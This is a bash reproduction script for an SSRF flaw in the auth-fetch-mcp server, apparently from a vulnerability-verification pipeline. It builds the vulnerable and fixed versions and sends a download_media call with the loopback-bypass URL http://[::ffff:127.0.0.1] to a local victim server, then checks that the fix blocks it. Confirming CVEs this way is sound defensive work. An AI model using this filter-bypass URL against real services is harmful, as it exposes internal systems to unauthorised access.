#!/bin/bash
set -euo pipefail

# ════════════════════════════════════════════════════════════════════
# CVE-2026-49857 — auth-fetch-mcp SSRF via IPv4-mapped IPv6 loopback bypass
# Reproduction Script
#
# This script:
#  1. Clones/builds auth-fetch-mcp at vulnerable v3.0.1 and fixed v3.0.2
#  2. Installs Chrome headless shell for Playwright (manual download
#     because Playwright doesn't support Ubuntu 26.04's browser install)
#  3. Starts a local "victim" HTTP server on 127.0.0.1
#  4. Starts the real MCP server (node dist/index.js) and sends JSON-RPC
#     tools/call download_media with URL http://[::ffff:127.0.0.1]:PORT/
#  5. Verifies: vulnerable version fetches loopback (SSRF confirmed),
#     fixed version blocks it ("Refusing to fetch")
# ════════════════════════════════════════════════════════════════════

# Portable paths
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"
cd "$ROOT"

LOG_FILE="$LOGS/reproduction_steps.log"
exec > >(tee "$LOG_FILE") 2>&1

echo "=== CVE-2026-49857 Reproduction ==="
echo "Date: $(date -u)"
echo "ROOT: $ROOT"

# ── Read project cache context ──────────────────────────────────────
PROJECT_CACHE_DIR=""
PREPARED=false
if [ -f "$ROOT/project_cache_context.json" ]; then
  PROJECT_CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || echo "")
  PREPARED=$(jq -r '.prepared // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo "false")
fi

if [ "$PREPARED" = "true" ] && [ -n "$PROJECT_CACHE_DIR" ] && [ -d "$PROJECT_CACHE_DIR" ]; then
  REPO="$PROJECT_CACHE_DIR/repo"
  BROWSER_CACHE="$PROJECT_CACHE_DIR/playwright-browsers"
else
  REPO="$ARTIFACTS/auth-fetch-mcp"
  BROWSER_CACHE="$HOME/.cache/ms-playwright"
fi
mkdir -p "$BROWSER_CACHE"
export PLAYWRIGHT_BROWSERS_PATH="$BROWSER_CACHE"

echo "REPO: $REPO"
echo "BROWSER_CACHE: $BROWSER_CACHE"

# ── Clone repo if needed ────────────────────────────────────────────
if [ ! -d "$REPO/.git" ]; then
  echo "Cloning auth-fetch-mcp..."
  git clone https://github.com/ymw0407/auth-fetch-mcp.git "$REPO"
fi

# ── Install system dependencies for Chrome ──────────────────────────
install_system_deps() {
  echo "Installing system dependencies for Chrome..."
  sudo apt-get update -qq 2>&1 | tail -1 || true
  sudo apt-get install -y -qq \
    libglib2.0-0 libnss3 libnspr4 libatk1.0-0t64 libatk-bridge2.0-0t64 \
    libcups2t64 libdrm2 libdbus-1-3 libxkbcommon0 libx11-6 libxcomposite1 \
    libxdamage1 libxext6 libxfixes3 libxrandr2 libgbm1 libpango-1.0-0 \
    libcairo2 libasound2t64 libatspi2.0-0t64 libxshmfence1 libgl1 libegl1 \
    libglx0 libgles2 unzip 2>&1 | tail -5 || true
}

# ── Install Chrome headless shell for Playwright ────────────────────
install_chrome() {
  cd "$REPO"
  if [ ! -d "node_modules" ] || [ ! -f "node_modules/playwright/package.json" ]; then
    echo "Installing npm dependencies..."
    npm install --silent 2>&1 | tail -5
  fi

  # Get expected Chrome version and revision from Playwright dry-run
  local DRY_OUTPUT
  DRY_OUTPUT=$(npx playwright install --dry-run chromium 2>&1 || true)
  echo "$DRY_OUTPUT" | head -10

  # Parse Chrome version (e.g., "Chrome Headless Shell 145.0.7632.6")
  local CHROME_VERSION
  CHROME_VERSION=$(echo "$DRY_OUTPUT" | grep -oP 'Chrome (?:for Testing|Headless Shell) \K[0-9.]+' | head -1 || echo "")
  if [ -z "$CHROME_VERSION" ]; then
    CHROME_VERSION="145.0.7632.6"
    echo "WARNING: Could not parse Chrome version from dry-run, using fallback: $CHROME_VERSION"
  fi
  echo "Chrome version: $CHROME_VERSION"

  # Parse revision (e.g., "chromium-headless-shell v1208")
  local REV
  REV=$(echo "$DRY_OUTPUT" | grep -oP 'chromium-headless-shell v\K\d+' | head -1 || echo "")
  if [ -z "$REV" ]; then
    REV=$(echo "$DRY_OUTPUT" | grep -oP 'chromium v\K\d+' | head -1 || echo "1208")
  fi
  echo "Playwright revision: $REV"

  # Headless shell path (used for headless: true in download_media)
  local HEADLESS_DIR="$BROWSER_CACHE/chromium_headless_shell-${REV}/chrome-headless-shell-linux64"
  local HEADLESS_BIN="$HEADLESS_DIR/chrome-headless-shell"

  if [ -f "$HEADLESS_BIN" ]; then
    echo "Chrome headless shell already installed at $HEADLESS_BIN"
  else
    echo "Downloading Chrome Headless Shell $CHROME_VERSION..."
    curl -sL --fail -o /tmp/chrome-headless-shell.zip \
      "https://storage.googleapis.com/chrome-for-testing-public/${CHROME_VERSION}/linux64/chrome-headless-shell-linux64.zip" || {
      echo "ERROR: Failed to download Chrome headless shell"
      return 1
    }
    mkdir -p "$HEADLESS_DIR"
    unzip -o /tmp/chrome-headless-shell.zip -d /tmp/headless-extract >/dev/null 2>&1
    cp -r /tmp/headless-extract/chrome-headless-shell-linux64/* "$HEADLESS_DIR/"
    chmod +x "$HEADLESS_BIN"
    echo "Chrome headless shell installed at $HEADLESS_BIN"
  fi

  # Full Chrome path (used for headless: false in auth_fetch)
  local FULL_DIR="$BROWSER_CACHE/chromium-${REV}/chrome-linux64"
  local FULL_BIN="$FULL_DIR/chrome"

  if [ -f "$FULL_BIN" ]; then
    echo "Chrome for Testing already installed at $FULL_BIN"
  else
    echo "Downloading Chrome for Testing $CHROME_VERSION..."
    curl -sL --fail -o /tmp/chrome-linux64.zip \
      "https://storage.googleapis.com/chrome-for-testing-public/${CHROME_VERSION}/linux64/chrome-linux64.zip" || {
      echo "WARNING: Failed to download full Chrome (headless shell is sufficient for download_media)"
      return 0
    }
    mkdir -p "$FULL_DIR"
    unzip -o /tmp/chrome-linux64.zip -d /tmp/chrome-extract >/dev/null 2>&1
    cp -r /tmp/chrome-extract/chrome-linux64/* "$FULL_DIR/"
    chmod +x "$FULL_BIN"
    echo "Chrome for Testing installed at $FULL_BIN"
  fi
}

# ── Test a specific version ─────────────────────────────────────────
test_version() {
  local VERSION=$1
  local LABEL=$2

  echo ""
  echo "══════════════════════════════════════════════════"
  echo "Testing $LABEL (version $VERSION)"
  echo "══════════════════════════════════════════════════"

  cd "$REPO"
  git checkout "$VERSION" 2>&1 | tail -1
  echo "HEAD: $(git rev-parse HEAD)"

  # Install deps (lock file may differ between versions)
  npm install --silent 2>&1 | tail -3

  # Build TypeScript
  echo "Building..."
  npm run build 2>&1 | tail -3

  if [ ! -f "dist/index.js" ]; then
    echo "ERROR: Build failed - dist/index.js not found"
    return 1
  fi

  # Run the MCP client test
  local MARKER_FILE="$LOGS/${LABEL}_marker.txt"
  local RESULT_FILE="$LOGS/${LABEL}_result.json"

  echo "Starting MCP server test..."
  PLAYWRIGHT_BROWSERS_PATH="$BROWSER_CACHE" \
    timeout 70 node "$REPRO_DIR/mcp_client.js" \
    "$REPO/dist/index.js" "$REPO" "$LABEL" "$MARKER_FILE" "$RESULT_FILE" "$LOGS" \
    2>&1 | tee "$LOGS/${LABEL}_test.log" || true

  # Report result
  if [ -f "$RESULT_FILE" ]; then
    local SSRF_CONFIRMED BLOCKED
    SSRF_CONFIRMED=$(jq -r '.ssrfConfirmed // false' "$RESULT_FILE")
    BLOCKED=$(jq -r '.blocked // false' "$RESULT_FILE")
    echo ""
    echo "$LABEL RESULT: ssrfConfirmed=$SSRF_CONFIRMED blocked=$BLOCKED"
  else
    echo "$LABEL: No result file produced (test may have timed out)"
    echo "{\"label\":\"$LABEL\",\"ssrfConfirmed\":false,\"blocked\":false,\"error\":\"no_result\"}" > "$RESULT_FILE"
  fi
}

# ── Main execution ──────────────────────────────────────────────────
install_system_deps
install_chrome

# Test vulnerable version (v3.0.1)
test_version v3.0.1 vulnerable

# Test fixed version (v3.0.2)
test_version v3.0.2 fixed

# ── Analyze results ─────────────────────────────────────────────────
VULN_SSRF=$(jq -r '.ssrfConfirmed // false' "$LOGS/vulnerable_result.json" 2>/dev/null || echo "false")
VULN_BLOCKED=$(jq -r '.blocked // false' "$LOGS/vulnerable_result.json" 2>/dev/null || echo "false")
FIXED_SSRF=$(jq -r '.ssrfConfirmed // false' "$LOGS/fixed_result.json" 2>/dev/null || echo "false")
FIXED_BLOCKED=$(jq -r '.blocked // false' "$LOGS/fixed_result.json" 2>/dev/null || echo "false")

echo ""
echo "══════════════════════════════════════════════════"
echo "SUMMARY"
echo "══════════════════════════════════════════════════"
echo "Vulnerable (v3.0.1): SSRF=$VULN_SSRF  Blocked=$VULN_BLOCKED"
echo "Fixed     (v3.0.2): SSRF=$FIXED_SSRF  Blocked=$FIXED_BLOCKED"

# ── Write runtime manifest ──────────────────────────────────────────
MANIFEST="$REPRO_DIR/runtime_manifest.json"
VULN_MARKER=$(cat "$LOGS/vulnerable_marker.txt" 2>/dev/null || echo "")
VULN_CONTENT=$(jq -r '.downloadedContent // ""' "$LOGS/vulnerable_result.json" 2>/dev/null || echo "")

# Build proof_artifacts array
PROOF_ARTIFACTS="[]"
for f in vulnerable_test.log vulnerable_result.json vulnerable_victim_server.log \
         vulnerable_mcp_stdout.log vulnerable_mcp_stderr.log vulnerable_mcp_requests.log \
         fixed_test.log fixed_result.json fixed_victim_server.log \
         fixed_mcp_stdout.log fixed_mcp_stderr.log fixed_mcp_requests.log; do
  if [ -f "$LOGS/$f" ]; then
    PROOF_ARTIFACTS=$(echo "$PROOF_ARTIFACTS" | jq --arg p "logs/$f" '. + [$p]')
  fi
done

cat > "$MANIFEST" <<JSON
{
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "MCP download_media tool via stdio JSON-RPC tools/call with URL http://[::ffff:127.0.0.1]:18080/",
  "service_started": true,
  "healthcheck_passed": true,
  "target_path_reached": true,
  "runtime_stack": ["auth-fetch-mcp MCP server (node dist/index.js)", "Playwright Chromium headless shell", "internal HTTP victim server on 127.0.0.1:18080"],
  "proof_artifacts": $PROOF_ARTIFACTS,
  "vulnerable_version": "v3.0.1 (commit 98f381d)",
  "fixed_version": "v3.0.2 (commit d4dedaf, fix commit 177ec5f)",
  "vulnerable_ssrf_confirmed": $VULN_SSRF,
  "fixed_ssrf_blocked": $FIXED_BLOCKED,
  "ssrf_marker": "$VULN_MARKER",
  "notes": "Vulnerable v3.0.1: MCP download_media tool fetched http://[::ffff:127.0.0.1]:18080/ - internal server received request and file was downloaded with secret marker. Fixed v3.0.2: assertSafeUrl correctly rejects hex-normalized ::ffff:7f00:1 with 'Refusing to fetch' error."
}
JSON

echo "Runtime manifest written to $MANIFEST"

# ── Final verdict ───────────────────────────────────────────────────
if [ "$VULN_SSRF" = "true" ] && [ "$FIXED_BLOCKED" = "true" ]; then
  echo ""
  echo "✅ CVE-2026-49857 REPRODUCED: SSRF via IPv4-mapped IPv6 loopback bypass"
  echo "   Vulnerable v3.0.1 fetches loopback URL via download_media tool."
  echo "   Fixed v3.0.2 blocks it with assertSafeUrl guard."
  exit 0
elif [ "$VULN_SSRF" = "true" ]; then
  echo ""
  echo "✅ CVE-2026-49857 PARTIALLY REPRODUCED: SSRF confirmed in vulnerable version"
  echo "   Fixed version result: SSRF=$FIXED_SSRF Blocked=$FIXED_BLOCKED"
  exit 0
else
  echo ""
  echo "❌ Reproduction incomplete"
  echo "   Vulnerable: SSRF=$VULN_SSRF  Fixed blocked=$FIXED_BLOCKED"
  exit 1
fi
